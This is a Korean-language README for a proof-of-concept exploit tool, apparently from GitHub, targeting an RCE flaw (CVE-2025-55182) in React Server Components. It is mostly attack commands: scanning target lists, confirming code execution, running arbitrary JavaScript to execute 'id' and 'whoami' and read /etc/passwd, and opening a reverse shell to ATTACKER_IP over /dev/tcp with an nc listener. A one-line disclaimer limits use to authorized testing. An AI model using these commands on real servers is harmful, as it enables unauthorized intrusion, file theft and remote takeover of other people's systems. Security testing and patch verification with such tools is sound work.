
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
React Server Components(RSC)용 원격 코드 실행 스캐너
| 역할 | 이름 | 링크 |
|---|---|---|
| 원본 연구 | Lachlan Davidson | github.com/lachlan2k |
원본 PoC 기반: React2Shell-CVE-2025-55182-original-poc
React2Shell은 React Server Components(RSC) 구현에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-55182를 위한 포괄적인 보안 스캐너입니다. 이 취약점은 React Flight 프로토콜의 안전하지 않은 역직렬화를 통해 인증되지 않은 공격자가 서버에서 임의의 JavaScript 코드를 실행할 수 있게 합니다.
# 저장소 클론
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# 의존성 설치
pip install requests
# 스캐너 실행
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
취약한 React 및 프레임워크 버전을 수동적으로 탐지합니다:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)여러 기법과 4가지 페이로드 변형을 모두 사용하여 RCE를 적극적으로 확인합니다:
# 기본 검증 (다이제스트 변형)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# 시간 기반 검증
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# OOB 콜백 사용 (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# 상세 출력을 포함한 전체 검증
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)임의의 JavaScript 페이로드를 실행합니다:
# Node.js 버전 가져오기
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# 시스템 명령 실행
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# 파일 읽기
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)파일에서 여러 URL을 스캔하고 취약한 대상만 표시합니다:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# 버전 탐지 (기본 모드)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE 검증
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# 여러 대상 일괄 스캔
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# 상세 출력
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# 시간 기반 + OOB 검증
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# 서버 정보 추출
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# 명령 실행
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# 리스너 시작
nc -lvnp 443
# 리버스 셸 실행
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
| 인자 | 설명 |
|---|
-t, --target | 대상 URL (예: https://example.com) |
-f, --file | 일괄 스캔을 위한 URL 목록이 포함된 파일 (줄당 하나) |
-m, --mode | 스캔 모드: version(기본값), verify 또는 custom |
--js | custom 모드용 JavaScript 코드 |
--extract | 문자열 결과를 문자 단위로 추출 |
--sleep SECONDS | 시간 기반 RCE 검증 (verify 모드) |
--callback URL | OOB 테스트용 HTTP 콜백 URL (verify 모드) |
--dns DOMAIN | OOB 테스트용 DNS 콜백 도메인 (verify 모드) |
-v, --verbose | 페이로드 상세 정보가 포함된 상세 출력 |
--no-color | 색상 출력 비활성화 |
--timeout SECONDS | HTTP 요청 타임아웃 (기본값: 30) |